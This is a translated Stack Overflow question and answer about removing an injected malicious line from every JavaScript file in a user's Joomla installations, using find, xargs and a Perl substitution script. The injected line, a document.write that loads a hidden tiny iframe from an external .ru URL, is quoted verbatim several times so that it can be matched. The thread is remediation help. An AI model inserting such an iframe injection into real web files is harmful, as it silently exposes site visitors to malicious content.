在我的共享主机帐户上的所有 Joomla 安装的所有 js 文件的末尾注入(inject)了以下恶意行:
;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
我想使用以下 SSH 命令(应该有一些错误)立即从所有文件中删除它:
find ./ -name "*.js" -type f | xargs perl -pi -e 's/;document.write\(\'\<iframe src\=\"http\:\/\/tweakdoled.ru\".*\"\);//g'
问题是因为必须使用反斜杠来转义某些字符,我不知道我是否正确使用它以及还应该转义什么。
不用说,该命令不起作用。
有什么想法吗?
谢谢!!
最佳答案
使用 Perl \Q...\E
符号来暂停元字符。但是,由于要匹配的字符串中有一堆乱七八糟的字符,这些字符对于 shell 也是特殊的,因此我将 Perl 正则表达式放入一个文件 (script.pl
) 中,使用 %
(未出现在要替换的字符串中)作为正则表达式分隔符:
s%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%%g;
然后运行它:
find ./ -name "*.js" -type f | xargs perl -pi.bak -f script.pl
如果你花足够的时间,你可能会找到一种方法让它在没有脚本文件的情况下工作;不过,这可能不值得付出努力(特别是因为我确定您几天前问过与此非常相似的问题)。
显然,在运行它来编辑文件之前,您将运行一个变体以确保打印所需的行:
script2.pl
:
print if m%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%;
运行使用:
find ./ -name "*.js" -type f | xargs perl -n -f script2.pl
如果这没有检测到线条,那么您将追踪一个变体,直到找到匹配的东西。您可能决定使用类似的东西:
print if m%;document.write.'<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'.;%;
这会将两个括号替换为 。
(因此,理论上,它可能会匹配其他内容,但实际上不会)。
关于regex - 在 find 命令中转义哪些字符,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13353984/